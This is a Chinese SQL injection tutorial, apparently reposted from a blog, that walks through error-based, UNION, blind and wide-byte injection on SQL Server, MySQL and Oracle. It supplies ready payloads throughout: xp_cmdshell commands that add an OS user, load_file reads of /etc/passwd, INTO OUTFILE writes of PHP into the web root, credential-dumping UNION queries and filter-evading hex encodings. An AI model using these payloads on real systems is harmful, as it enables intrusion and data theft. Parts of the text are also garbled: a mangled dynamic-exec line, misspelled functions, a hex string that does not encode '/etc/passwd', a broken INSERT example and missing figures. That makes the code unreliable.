SQL 注入原理
SQL注入攻擊指的是通過建構特殊的輸入作為參數傳入Web應用程式,而這些輸入大都是SQL文法裡的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,其主要原因是程式沒有細緻地過濾使用者輸入的資料,緻使非法資料侵入系統。
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLicmbw5iY3IGNmFDZ0EmZjFjN5gDZ0ADZ3MWM0QjZ5YGZ0QmYw8CX0JXZ252bj91Ztl2Lc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
SQL 注入分類1. 數字型注入
當輸入的參數為整型時,則有可能存在數字型注入漏洞。
假設存在一條 URL 為:HTTP://www.aaa.com/test.php?id=1
可以對背景的 SQL 語句猜測為:
SELECT * FROM table WHERE id=1判斷數字型漏洞的 SQL 注入點:
① 先在輸入框中輸入一個單引号 '
這樣的 SQL 語句就會變為:
SELECT * FROM table WHERE id=1',
不符合文法,是以該語句肯定會出錯,導緻腳本程式無法從資料庫擷取資料,進而使原來的頁面出現異常。
② 在輸入框中輸入 and 1 = 1
SQL語句變為:
SELECT * FROM table WHERE id=1 and 1 = 1
語句正确,執行正常,傳回的資料與原始請求無任何差異。
③ 在資料庫中輸入 and 1 = 2
SQL 語句變為:
SELECT * FROM table WHERE id=1 and 1 = 2
雖然文法正确,語句執行正常,但是邏輯錯誤,因為 1 = 2 為永假,是以傳回資料與原始請求有差異。
如果以上三個步驟全部滿足,則程式就可能存在數字型 SQL 注入漏洞。
2. 字元型注入當輸入參數為字元串時,則可能存在字元型注入漏洞。數字型與字元型注入最大的差別在于:數字型不需要單引号閉合,而字元型一般需要使用單引号來閉合。
字元型注入最關鍵的是如何閉合 SQL 語句以及注釋多餘的代碼。
假設背景的 SQL 語句如下:
SELECT * FROM table WHERE username = 'admin'
判斷字元型漏洞的 SQL 注入點:
① 還是先輸入單引号 admin' 來測試
這樣的 SQL 語句就會變為:
SELECT * FROM table WHERE username = 'admin''。
頁面異常。
② 輸入:admin' and 1 = 1 --
注意:在 admin 後有一個單引号 ',用于字元串閉合,最後還有一個注釋符 --(兩條杠後面還有一個空格!!!)。
SQL 語句變為:
SELECT * FROM table WHERE username = 'admin' and 1 = 1 --
頁面顯示正确。
③ 輸入:admin' and 1 = 2 --
SQL 語句變為:
SELECT * FROM table WHERE username = 'admin' and 1 = 2 --
頁面錯誤。
滿足上面三個步驟則有可能存在字元型 SQL 注入。
3. 其他類型其實我覺得SQL 注入隻有兩種類型:數字型與字元型。很多人可能會說還有如:Cookie 注入、POST 注入、延時注入等。
的确如此,但這些類型的注入歸根結底也是數字型和字元型注入的不同展現形式或者注入的位置不同罷了。
以下是一些常見的注入叫法: POST注入:注入字段在 POST 資料中
Cookie注入:注入字段在 Cookie 資料中
延時注入:使用資料庫延時特性注入
搜尋注入:注入處為搜尋的地方
base64注入:注入字元串需要經過 base64 加密
常見資料庫的注入攻擊者對于資料庫注入,無非是利用資料庫擷取更多的資料或者更大的權限,利用的方式可以歸結為以下幾類: 查詢資料
讀寫檔案
執行指令
攻擊者對于程式注入,無論任何資料庫,無非都是在做這三件事,隻不過不同的資料庫注入的 SQL 語句不一樣罷了。
這裡介紹三種資料庫的注入:Oracle 11g、MySQL 5.1 和 SQL Server 2008。
SQL Server
1. 利用錯誤消息提取資訊
SQL Server 資料庫是一個非常優秀的資料庫,它可以準确地定位錯誤資訊,這對攻擊者來說是一件十分美好的事情,因為攻擊者可以通過錯誤消息提取自己想要的資料。
① 枚舉目前表或者列
假設選擇存在這樣一張表:
查詢 root 使用者的詳細資訊,SQL 語句猜測如下:
SELECT * FROM user WHERE username = 'root' AND password = 'root'
攻擊者可以利用 SQL Server 特性來擷取敏感資訊,在輸入框中輸入如下語句:
' having 1 = 1 --
最終執行的 SQL 語句就會變為:
SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --
那麼 SQL 的執行器可能會抛出一個錯誤:
攻擊者就可以發現目前的表名為 user、而且存在字段 id。
攻擊者可以利用此特性繼續得到其他列名,輸入如下語句:
' GROUP BY users.id HAVING 1 = 1 --
則 SQL 語句變為:
SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --
抛出錯誤:
由此可以看到包含列名 username。可以一次遞歸查詢,知道沒有錯誤消息傳回位置,這樣就可以利用 HAVING 字句得到當表的所有列名。
注:Select指定的每一列都應該出現在Group By子句中,除非對這一列使用了聚合函數
②. 利用資料類型錯誤提取資料
如果試圖将一個字元串與非字元串比較,或者将一個字元串轉換為另一個不相容的類型,那麼SQL 編輯器将會抛出異常。
如下列 SQL 語句:
SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)
執行器錯誤提示:
這就可以擷取到使用者的使用者名為 root。因為在子查詢 SELECT TOP 1 username FROM users 中,将查詢到的使用者名的第一個傳回,傳回類型是 varchar 類型,然後要跟 int 類型的 1 比較,兩種類型不同的資料無法比較而報錯,進而導緻了資料洩露。
利用此方法可以遞歸推導出所有的賬戶資訊:
SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))。
通過構造此語句就可以獲得下一個 使用者名;若把子查詢中的 username 換成其他列名,則可以擷取其他列的資訊,這裡就不再贅述。
2. 擷取中繼資料SQL Server 提供了大量視圖,便于取得中繼資料。可以先猜測出表的列數,然後用 UNION 來構造 SQL 語句擷取其中的資料。
如:
SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
若目前表的列數為 2,則可以 UNION 語句擷取目前資料庫表。具體怎麼猜測目前表的列數,後面進行描述。
一些常用的系統資料庫視圖:
3. ORDER BY 子句猜測列數可以用 ORDER BY 語句來判斷目前表的列數。
如:
① SELECT * FROM users WHERE id = 1——SQL執行正常
②SELECT * FROM users WHERE id = 1 ORDER BY 1 (按照第一列排序)——SQL執行正常
③ SELECT * FROM users WHERE id = 1 ORDER BY 2 (按照第二列排序)——SQL執行正常
④ SELECT * FROM users WHERE id = 1 ORDER BY 3 (按照第三列排序)——SQL 執行正常
⑤ SELECT * FROM users WHERE id = 1 ORDER BY 4 (按照第四列排序)——SQL 抛出異常:
由此可以得出,目前表的列數隻有 3 列,因為當按照第 4 列排序時報錯了。在 Oracle 和 MySql 資料庫中同樣适用此方法。
在得知列數後,攻擊者通常會配合 UNION 關鍵字進行下一步的攻擊。
4. UNION 查詢UNION 關鍵字将兩個或多個查詢結果組合為單個結果集,大部分資料庫都支援 UNION 查詢。但适用 UNION 合并兩個結果有如下基本規則:
所有查詢中的列數必須相同
資料類型必須相容
① 用 UNION 查詢猜測列數
不僅可以用 ORDER BY 方法來猜測列數,UNION 方法同樣可以。
在之前假設的 user 表中有 5 列,若我們用 UNION 聯合查詢:
SELECT * FROM users WHERE id = 1 UNION SELECT 1
資料庫會發出異常:
可以通過遞歸查詢,直到無錯誤産生,就可以得知 User 表的查詢字段數:
UNION SELECT 1,2、UNION SELECT 1,2,3
也可以将 SELECT 後面的數字改為 null、這樣不容易出現不相容的異常。
② 聯合查詢敏感資訊
在得知列數為 4後,可以使用一下語句繼續注入:
UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U' (注:xtype=‘U’ 表示對象類型是表)
若第一列的資料類型不比對,資料庫會報錯,那麼可以遞歸查詢,直到語句相容。等到語句正常執行,就可以将 x 換為 SQL 語句,查詢敏感資訊。
5. 利用SQL Server 提供的系統函數SQL Server 提供了非常多的系統函數,利用該系統函數可以通路 SQL Server 系統表中的資訊,而無需使用 SQL 查詢語句。
如:
SELECT suser_name():傳回使用者的登入辨別名
SELECT user_name():基于指定的辨別号傳回資料庫使用者名
SELECT db_name():傳回資料庫名
SELECT is_member(‘db_owner’):是否為資料庫角色
SELECT convert(int, ‘5’):資料類型轉換
6. 存儲過程存儲過程 (Stored Procedure) 是在大型資料庫系統中為了完成特定功能的一組 SQL “函數”,如:執行系統指令、檢視系統資料庫、讀取磁盤目錄等。
攻擊者最長使用的存儲過程是 “xp_cmdshell”,這個存儲過程允許使用者執行作業系統指令。
例如:http://www.aaa.org/test.aspx?id=1 中存在注入點,那麼攻擊者就可以實施指令攻擊:
http://www.aaa.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'
最終執行的 SQL 語句如下:
SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'
分号後面的那一段語句就可以為攻擊者在對方伺服器上建立一個使用者名為 test、密碼為 test 的使用者。
注:并不是任何資料庫使用者都可以使用此類存儲過程,使用者必須持有 CONTROL SERVER 權限。
常見的危險存儲過程如下表:
另外,任何資料庫在使用一些特殊的函數或存儲過程時,都需要特定的權限。常見的SQL Server 資料庫的角色與權限如下:
7. 動态執行SQL Server 支援動态執行語句,使用者可以送出一個字元串來執行 SQL 語句。
如:exec('SELECT username, password FROM users')
也可以通過定義十六進制的 SQL 語句,使用 exec 函數執行。大部分 Web 應用程式和防火牆都過濾了單引号,利用 exec 執行十六進制 SQL 語句可以突破很多防火牆及防注入程式,如:
或者:
[email protected](888)[email protected]=0x73656C6563742031exec(@query)
MySQL前面詳細講述了 SQL Server 的注入過程,在注入其他資料庫時,基本思路是相同的,隻不過兩者使用的函數或者是語句稍有差異。1. MySQL 中的注釋
MySQL 支援以下 3 中注釋風格:
“#”:注釋從 “#” 到行尾
"-- " :注釋從 “-- ”序列到行位,需要注意的是使用此注釋時,後面需要跟上空格
:注釋從 之間的字元
2. 擷取中繼資料MySQL 5.0 及其以上版本提供了 INFORMATION_SCHEMA,這是一個資訊資料庫,它提供了通路資料庫中繼資料的方式。下面介紹如何從中讀取資料庫名稱、表名稱以及列名稱。
① 查詢使用者資料庫名稱
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
INFORMATION_SCHEMA.SCHEMATA 表提供了關于資料庫的資訊。
②查詢目前資料表
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())
INFORMATION_SCHEMA.TABLES 表給出了資料庫中表的資訊。
③查詢指定表的所有字段
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'
INFORMATION_SCHEMA.COLUMNS 表中給出了表中的列資訊。
3. UNION 查詢與 SQL Server 大緻相同,此處不贅述。
4. MySQL 函數利用無論是 MySQL、Oracle 還是其他資料庫都内置了許多系統函數,這些資料庫函數都非常類似,接下來介紹一些對滲透測試人員很有幫助的 MySQL 函數。
① load_file() 函數讀檔案操作
MySQL 提供了 load_file() 函數,可以幫助使用者快速讀取檔案,但檔案的位置必須在伺服器上,檔案必須為絕對路徑,且使用者必須有 FILE 權限,檔案容量也必須小于 max_allowed_packet 位元組 (預設為 16MB,最大為 1GB)。
SQL 語句如下:
UNION SELECT 1, load_file('/etc/passwd'), 3, 4 #
通常一些防注入語句不允許單引号出現,那麼可以使用一下語句繞過:
UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 #
“0x2F6561342F706173737764” 為 “/etc/passwd” 的十六進制轉換結果。
在浏覽器傳回資料時,有可能存在亂碼問題,那麼可以使用 hex() 函數将字元串轉換為十六進制資料。
② into outfile 寫檔案操作
MySQL 提供了向磁盤寫檔案的操作,與 load_file() 一樣,必須有 FILE 權限,并且檔案必須為全路徑名稱。
寫入檔案:
SELECT '<?php phpinfo();?>' into oufile 'C:\wwwroot\1.php'
③ 連接配接字元串
MySQL 如果需要一次查詢多個資料,可以使用 concat() 或 concat_ws() 函數來完成。
SELECT name FROM student WHERE id = 1 UNION SELECT concat(user(), ',', database(), ',', version());
也可以将逗号改用十六進制表示:0x2c
5. MySQL 顯錯式注入MySQL 也存在顯錯式注入,可以像 SQL Server 資料庫那樣,使用錯誤提取消息。
① 通過 updatexml 函數執行 SQL 語句
首先了解下updatexml()函數:
updatexml (XML_document, XPath_string, new_value);
第一個參數:XML_document是String格式,為XML文檔對象的名稱;
第二個參數:XPath_string (Xpath格式的字元串) ,
第三個參數:new_value,String格式,替換查找到的符合條件的資料
SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1)
其中的concat()函數是将其連成一個字元串,是以不會符合XPATH_string的格式,進而出現格式錯誤,報錯,會顯示出無法識别的内容:
② 通過 extractvalue函數
SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))
同樣報錯顯示出目前使用者:
6. 寬位元組注入寬位元組注入是由編碼不統一所造成的,這種注入一般出現在 PHP + MySQL中。
在 PHP 配置檔案 php.ini 中存在 magic_quotes_gpc 選項,被稱為魔術引号,當此選項被打開時,使用 GET、POST、Cookie 所接受的 單引号(’)、雙引号(")、反斜線() 和 NULL 字元都會自動加上一個反斜線轉義。
如下使用 PHP 代碼使用 $_GET 接收參數:
如通路URL:
http:/www.xxser.com/Get.php?id='
,顯示如下:
單引号
'
被轉義後就變成了
\'
,在 MySQL 中,
\'
是一個合法的字元,也就沒辦法閉合單引号,是以,注入類型是字元型時無法構成注入。
但是若是輸入:
%d5'
,通路URL:
http:/www.xxser.com/Get.php?id=%d5'
,顯示如下:
可以發現,這次單引号沒有被轉義,這樣就可以突破 PHP 轉義,繼續閉合 SQL 語句進行 SQL 注入。
7. MySQL 長字元截斷MySQL 超長字元截斷又名 “SQL-Column-Truncation”。
在 MySQL 中的一個設定裡有一個 sql_mode 選項,當 sql_mode 設定為 default 時,即沒有開啟 STRICT——ALL_TABLES 選項時,MySQL 對插入超長的值隻會提示 waring,而不是 error。
假設有一張表如下:
username 字段的長度為 7。分别插入一下 SQL 語句:
① 插入正常 SQL 語句:
INSERT users(id, username, password) VALUES(1, 'admin', 'admin');
成功插入。② 插入錯誤的 SQL 語句,使 username 字段的長度超過7:
INSERT users(id, username, password) VALUES(2, 'admin ', 'admin');
雖然有警告,但是成功插入了。③ 再嘗試插入一條錯誤的 SQL 語句,長度同一超過原有的規定長度:
INSERT users(id, username, password) VALUES(3, 'admin x), 'admin;
查詢資料庫:
可以看到,三條資料都被插入到資料庫中,但是值發生了變化。在預設情況下,如果資料超出預設長度,MySQL 會将其階段。但是這樣怎麼攻擊呢?通過查詢使用者名為 admin 的使用者:
可以發現,隻查詢使用者名為 admin 的使用者,但是另外兩個長度不一緻的 admin 使用者也被查詢出,這樣就會造成一些安全問題。
比如有一處管理者登入時這樣判斷的:
$sql = "SELECT count(*) FROM users WHERE username = 'admin' AND password = '***'";
那麼攻擊者隻需要注冊一個長度超過規定長度的使用者名“admin ”即可輕易進入背景管理頁面。
8. 延時注入
延時注入屬于盲注技術的一種,是一種基于時間差異的注入技術。下面以 MySQL 為例介紹延時注入。
在 MySQL 中有一個函數:sleep(duration),這個函數意思是在 duration 參數給定數秒後運作語句,如下 SQL 語句:
SELECT * FROM users WHERE id = 1 AND sleep(3)
就是将在 3 秒後執行該 SQL 語句。
可以使用這個函數來判斷 URL 是否存在 SQL 注入漏洞,步驟如下:
通過頁面傳回的世界可以斷定,DBMS 執行了 and sleep(3) 語句,這樣一來就可以判斷出 URL 存在 SQL 注入漏洞。
然後通過 sleep() 函數還可以讀出資料,但需要其他函數的配合,步驟如下:
①查詢目前使用者,并取得字元串長度
執行SQL 語句:
AND if(length(user()) = 0, sleep(3), 1)
如果出現 3 秒延時,就可以判斷出 user 字元串長度,注入時通常會采用折半算法減少判斷。
② 截取字元串第一個字元,并轉換為 ASCII 碼
AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1)
AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)
……
不斷更換 ASCII 碼直到出現延時 3 秒就可以猜測出第一個字元。
③ 遞歸截取字元串每一個字元,分别于 ASCII 碼比較
AND if(hex(mid(user(), L, 1)) = N, sleep(3), 1)
注:L 的位置代表字元串的第幾個字元,N 的位置代表 ASCII 碼。
不僅在 MySQL 中存在延時函數,在 SQL Server、Oracle 等資料庫中也都存在類似功能的函數,如 SQL Server 的 waitfor delay、Oracle 中的 DBMS_LOCK.SLEEP 等函數。
Oracle1. 擷取中繼資料
Oracle 也支援查詢中繼資料,下面是 Oracle 注入常用的中繼資料視圖:
① user_tablespaces 視圖,檢視表空間
SELECT tablespace_name FROM user_tablespaces
② user_tables 視圖,檢視目前使用者的所有表
SELECT table_name FROM user_tables WHERE rownum = 1
③ user_tab_columns 視圖,檢視目前使用者的所有列,如查詢 user 表的所有列:
SELECT column_name FROM user_tab_columns WHERE table_name = 'users'
④ all_users 視圖,檢視 ORacle 資料庫的所有使用者
SELECT username FROM all_users
⑤ user_objects 視圖,檢視目前使用者的所有對象 (表名稱、限制、索引)
SELECT object_name FROM user_objects
2. UNION 查詢Oracle 與 MySQL 一樣不支援多語句執行,不像 SQL Server 那樣可以用分号隔開進而注入多條 SQL 語句。
①擷取列的總數
擷取列總數方法與前面兩種資料庫類似,依然可以使用 ORDER BY 子句來完成。
另一種方法是利用 UNION 關鍵字來确定,但是 Oracle 規定,每次查詢時後面必須跟表的名稱,否則查詢将不成立。
在 Oracle 中可以使用:
UNION SELECT null, null, null …… FROM dual
這裡的 dual 是 Oracle 中的虛拟表,在不知道資料庫中存在哪些表的情況下,可以使用此表作為查詢表。
然後擷取非數字類型列,即可以顯示出資訊的列:
UNION SELECT 'null', null, null, …… FROM dual
UNION SELECT null, 'null', null, …… FROM dual
把每一位的 null 依次用單引号 ’ 引起來,如果報錯,則不是字元串類型的列;如果傳回正常,則是字元串類型的列,就可以在相應的位置插入查詢語句擷取資訊。
② 擷取敏感資訊
常見的敏感資訊如下:
目前使用者權限:SELECT * FROM session_roles
目前資料庫版本:SELECT banner FROM sys.v_$version WHERE rownum = 1
伺服器出口 IP:用utl_http.request 可以實作
伺服器監聽 IP:SELECT utl_inaddr.get_host_address FROM dual
伺服器作業系統:SELECT member FROM v$logfile WHERE rownum = 1
伺服器 SID:SELECT instance_name FROM v$instance
目前連接配接使用者:SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM dual
③ 擷取資料庫表及其内容
在得知表的列數之後,可以通過查詢中繼資料的方式查詢表名稱、列名稱,然後查詢資料,如:
http://www.aaa.org/new.jsp?id=1 UNION SELECT username, password, null FROM users --
注意:在查詢資料時同樣要注意資料類型,否則無法查詢,隻能一一測試,改變參數的查詢位置。
原文連結:https://blog.csdn.net/weixin_43915762/article/details/87909751